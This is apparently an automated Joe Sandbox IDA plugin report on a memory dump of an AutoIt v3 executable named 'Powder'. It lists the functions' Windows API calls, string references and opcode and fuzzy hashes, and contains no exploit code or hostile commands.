LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00CD0C5B

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

_memset.LIBCMT ref: 00C95787
_wcscpy.LIBCMT ref: 00C957DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00C957EB
__swprintf.LIBCMT ref: 00CD0CD1

Strings

AutoIt - , xrefs: 00C95760
, xrefs: 00C9576A
Line %d: , xrefs: 00CD0CCB

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $ $AutoIt -
API String ID: 230667853-3894431069
Opcode ID: 18cc6faf28b38177a3ce67b73bd93de9ff891218083198d05553828b11d7770a
Instruction ID: 4facfff1c7c78c3d240460fd18d855632e1cf2b1c995b867631b9454848430de
Opcode Fuzzy Hash: 18cc6faf28b38177a3ce67b73bd93de9ff891218083198d05553828b11d7770a
Instruction Fuzzy Hash: 2941A471008301AFCB21EBA4DC8ABDF77DCAB85350F14061AF595921A1DB709648D7A6

Function 00C950DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00C95109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00C9512A
ShowWindow.USER32(00000000), ref: 00C9513E
ShowWindow.USER32(00000000), ref: 00C95147

Strings

AutoIt v3, xrefs: 00C95101, 00C95106, 00C95107
edit, xrefs: 00C95124

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: dbf96e5c0a5e87b956af96f0bf918d3bd0a08bba889e0a6cdab47627a738d507
Instruction ID: dced4eae65063603f410bf17c14edc7c2294b55c390404b0269d7c951ccc30f6
Opcode Fuzzy Hash: dbf96e5c0a5e87b956af96f0bf918d3bd0a08bba889e0a6cdab47627a738d507
Instruction Fuzzy Hash: DAF0DA759453947FEA312B276C88E672E7DD7C7F50F00411AB900E23B0CAF11891DAB4

Function 00C8AAAA Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CA07BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00CA07EC
Part of subcall function 00CA07BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 00CA07F4
Part of subcall function 00CA07BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00CA07FF
Part of subcall function 00CA07BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00CA080A
Part of subcall function 00CA07BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 00CA0812
Part of subcall function 00CA07BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 00CA081A

Part of subcall function 00C9FF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00C8AC6B), ref: 00C9FFA7

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00C8AD08
OleInitialize.OLE32(00000000), ref: 00C8AD85
CloseHandle.KERNEL32(00000000), ref: 00CC2F56

Strings

0, xrefs: 00C8AB32
@, xrefs: 00C8AC4F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: 0$@
API String ID: 1986988660-2381234376
Opcode ID: bc311f130c7cfc135f6ecd07c57e18cca6b9d50bf991972ecfe576fe58223f38
Instruction ID: 237e81d3683dd91b35b6dbc5b35014b9d95dc2f6f47746f3ecc1906738d84c9f
Opcode Fuzzy Hash: bc311f130c7cfc135f6ecd07c57e18cca6b9d50bf991972ecfe576fe58223f38
Instruction Fuzzy Hash: AE81A7B89093808FC784EF79ED496657EE9FB8A314710896AD42CC7372EB7044499FB4

Function 00CE9B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C94A8C: _fseek.LIBCMT ref: 00C94AA4

Part of subcall function 00CE9CF1: _wcscmp.LIBCMT ref: 00CE9DE1
Part of subcall function 00CE9CF1: _wcscmp.LIBCMT ref: 00CE9DF4

_free.LIBCMT ref: 00CE9C5F
_free.LIBCMT ref: 00CE9C66
_free.LIBCMT ref: 00CE9CD1

Part of subcall function 00CA2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00CA9C54,00000000,00CA8D5D,00CA59C3), ref: 00CA2F99
Part of subcall function 00CA2F85: GetLastError.KERNEL32(00000000,?,00CA9C54,00000000,00CA8D5D,00CA59C3), ref: 00CA2FAB

_free.LIBCMT ref: 00CE9CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00CE9B8F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: 34eadd0288f107c25d4630a2eb30170d9bd0726691487a866d21e7c195f4e8d2
Instruction ID: eebc8e7d7c6ca9d09960188624f14df68f435d49bb3f325b80723fda32f96d9a
Opcode Fuzzy Hash: 34eadd0288f107c25d4630a2eb30170d9bd0726691487a866d21e7c195f4e8d2
Instruction Fuzzy Hash: ED515CB1D04269AFDF24DFA5DC45AAEBBB9FF48304F10009EB209A3341DB715A809F58

Function 00CA563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CA569B
_memcpy_s.LIBCMT ref: 00CA570D
__read_nolock.LIBCMT ref: 00CA576B
__filbuf.LIBCMT ref: 00CA578E
_memset.LIBCMT ref: 00CA57D2

Part of subcall function 00CA8D58: __getptd_noexit.LIBCMT ref: 00CA8D58

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: 3b95358eafd449e009ebc46b76698f37673b457c3d4a3660b47c56f821c7fa26
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: A951A530A00B07DFDB249F69D8846AE77B5AF52328F64C729F835E62D0D7709E509B40

Function 00C852B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C852E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C8534A
TranslateMessage.USER32(?), ref: 00C85356
DispatchMessageW.USER32(?), ref: 00C85360

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 21f3972c6579f7145415f2b8bd39e9931f68b5dd77c560eb657fabce226335aa
Instruction ID: 0c50837c0a89cdde86b569d87ebf7c05f8b0e301743f75b238c512dd9bdf8b20
Opcode Fuzzy Hash: 21f3972c6579f7145415f2b8bd39e9931f68b5dd77c560eb657fabce226335aa
Instruction Fuzzy Hash: 0E310730508B059BEB30EFA4DC44BF93BE89B02348F140159F462D72E1E7F59985E729

Function 00C81284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00C81275,SwapMouseButtons,00000004,?), ref: 00C812A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00C81275,SwapMouseButtons,00000004,?), ref: 00C812C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00C81275,SwapMouseButtons,00000004,?), ref: 00C812EB

Strings

Control Panel\Mouse, xrefs: 00C812A6

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 2e5b977553400388978f56fdb1bddc6b65f99b88bd09ac4eaf5ae3248fc3791e
Instruction ID: fda611c2cec07f3d0880aba0bc48ec7a6f2be4b8190e2de688a0202570d46f49
Opcode Fuzzy Hash: 2e5b977553400388978f56fdb1bddc6b65f99b88bd09ac4eaf5ae3248fc3791e
Instruction Fuzzy Hash: A2115A71510208BFDB209FA5DC84EEEBBFCEF04745F048559F805D7210D6719E8297A4

Function 00CE3F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00D12C4C), ref: 00CE3F57
GetLastError.KERNEL32 ref: 00CE3F66
CreateDirectoryW.KERNEL32(?,00000000), ref: 00CE3F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00D12C4C), ref: 00CE3FD2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: de0ad95734b5563ab1b94f9ad3ec0a313108bdd6d3655fbddf2724e629bd12ca
Instruction ID: 610086f5c361eb5718053e0c5b8b2fc59b216209658336b28142cf8ebd93379b
Opcode Fuzzy Hash: de0ad95734b5563ab1b94f9ad3ec0a313108bdd6d3655fbddf2724e629bd12ca
Instruction Fuzzy Hash: 2821D8709083819F8710DF69C8898AAB7F4FF55324F10465DF8A5C72A1DB31EB46CB52

Function 00C95B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C95B58

Part of subcall function 00C956F8: _memset.LIBCMT ref: 00C95787
Part of subcall function 00C956F8: _wcscpy.LIBCMT ref: 00C957DB
Part of subcall function 00C956F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00C957EB

KillTimer.USER32(?,00000001,?,?), ref: 00C95BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00C95BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00CD0D7C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: b89f9946f5e90eba43c09fd901bbeb1fd3c455476c47aae6e15d9678aa48d9df
Instruction ID: 5d6f0cd776287ab6267a1e181f1a3d863e9de14f08308c30abb33cb0a9460203
Opcode Fuzzy Hash: b89f9946f5e90eba43c09fd901bbeb1fd3c455476c47aae6e15d9678aa48d9df
Instruction Fuzzy Hash: 6021FC70504784AFEB738B68C899BEABFECAF01304F14448EE79A56381C7742A85DB51

Function 00C9278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00C949C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00C927AF,?,00000001), ref: 00C949F4

_free.LIBCMT ref: 00CCFB04
_free.LIBCMT ref: 00CCFB4B

Part of subcall function 00C929BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00C92ADF

Strings

Bad directive syntax error, xrefs: 00CCFB33

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: a9ecd702700c0bf0daf9a9e92a24ca2086b56a168781e7f1625a3cdb8c937420
Instruction ID: aae58afed57075eced06a58462376b8272eaf5f1f222759ea3d4e303a58acb0b
Opcode Fuzzy Hash: a9ecd702700c0bf0daf9a9e92a24ca2086b56a168781e7f1625a3cdb8c937420
Instruction Fuzzy Hash: 77916B71900259AFCF08EFA5C895EEDB7B5FF05310F14452EF816AB2A1DB309A46EB50

Function 00CE9CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00C94AB2: __fread_nolock.LIBCMT ref: 00C94AD0

_wcscmp.LIBCMT ref: 00CE9DE1
_wcscmp.LIBCMT ref: 00CE9DF4

Strings

FILE, xrefs: 00CE9D2D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: c4c5dfaef6c3094a2368df86994524c476b88998a7b1d48cce2f642bdb24aaf9
Instruction ID: 04b217c9604a449cd729fc3e0899d0335610cafb8aad4d67df615e5be7e39ec7
Opcode Fuzzy Hash: c4c5dfaef6c3094a2368df86994524c476b88998a7b1d48cce2f642bdb24aaf9
Instruction Fuzzy Hash: 3B410971A4024ABADF20DAA5CC49FEF77FDDF45710F00446AFA00A7281DA719A059764

Function 00CF2C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CF2C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00CF2CA0

Strings

|, xrefs: 00CF2C71

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: af205878d308a4b29e87adcd7ae1d66e1424ecd5c9950939906e5df2c8625b4c
Instruction ID: e2788563e3cc4cbf1fbe96484ca36d8fbf635081349b114f3f8a455b96b72439
Opcode Fuzzy Hash: af205878d308a4b29e87adcd7ae1d66e1424ecd5c9950939906e5df2c8625b4c
Instruction Fuzzy Hash: E6313E71C0011AABCF01EFA1CC86AEEBFB9FF04354F140015FD15A6262DB315A56EBA0

Function 00C931BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CD032B
GetOpenFileNameW.COMDLG32(?), ref: 00CD0375

Part of subcall function 00CA0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00C92A58,?,00008000), ref: 00CA02A4

Part of subcall function 00CA09C5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00CA09E4

Strings

X, xrefs: 00CD0343

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 2eb6cd807602f26f0e7084652204aca804083a167258c2950be1a30d4e54ed3f
Instruction ID: aa1cf45f0d3db5e99ddb75a35790490b0d006d0104a3ac45d9cec713c5640a65
Opcode Fuzzy Hash: 2eb6cd807602f26f0e7084652204aca804083a167258c2950be1a30d4e54ed3f
Instruction Fuzzy Hash: 81219371A042989BDF41DFD8C849BEE7BF8AF49304F10405AF444A7341DBB45A89DFA1

Function 00CF28A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00CF28F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00CF2921

Strings

<local>, xrefs: 00CF28E9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 5892d423379ea611a14e6f2261b0177e51e1afb11214e15b11075901f2ffd4fa
Instruction ID: 1489d537443db85d39e06662c32247ee3d35ca10d43f28a90f07491c2566aa43
Opcode Fuzzy Hash: 5892d423379ea611a14e6f2261b0177e51e1afb11214e15b11075901f2ffd4fa
Instruction Fuzzy Hash: D011C171501229BAEB648A518C88EF6FF68EF053A1F10812AF61546180E7B05A94D6F2

Function 00CFD1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6dcb0b11a4ffadc784f96a4e6892b71b44bd5ee171c4909f3c5cbc61dad14a
Instruction ID: 88da950f23ffc49d210888689e978529efc2c3be9f8c163cb523b6575ae1c1f1
Opcode Fuzzy Hash: cb6dcb0b11a4ffadc784f96a4e6892b71b44bd5ee171c4909f3c5cbc61dad14a
Instruction Fuzzy Hash: C9F15A706083459FC754DF28C484A6ABBE5FF88318F14892EF99A9B351D730E945CF92

Function 00C959D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C959F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00C95A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00C95ABB

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 0e82cbd7cca3d839efbcd8484c214b272dfab820b59d6510333dda6a8ba157fe
Instruction ID: da708762f957008b8c23002093ecb49910576ffa880d1d618f60e67a082b4076
Opcode Fuzzy Hash: 0e82cbd7cca3d839efbcd8484c214b272dfab820b59d6510333dda6a8ba157fe
Instruction Fuzzy Hash: D13161B45057019FDB21DF24D8C86A7BBE4FB49304F000A2EF69AC7351EBB16A44DB5A

Function 00CA593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00CA5953

Part of subcall function 00CAA39B: __NMSG_WRITE.LIBCMT ref: 00CAA3C2
Part of subcall function 00CAA39B: __NMSG_WRITE.LIBCMT ref: 00CAA3CC

__NMSG_WRITE.LIBCMT ref: 00CA595A

Part of subcall function 00CAA3F8: GetModuleFileNameW.KERNEL32(00000000,00D453BA,00000104,00000004,00000001,00CA1003), ref: 00CAA48A
Part of subcall function 00CAA3F8: ___crtMessageBoxW.LIBCMT ref: 00CAA538

Part of subcall function 00CA32CF: ___crtCorExitProcess.LIBCMT ref: 00CA32D5
Part of subcall function 00CA32CF: ExitProcess.KERNEL32 ref: 00CA32DE

Part of subcall function 00CA8D58: __getptd_noexit.LIBCMT ref: 00CA8D58

RtlAllocateHeap.NTDLL(00ED0000,00000000,00000001,?,00000004,?,?,00CA1003,?), ref: 00CA597F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

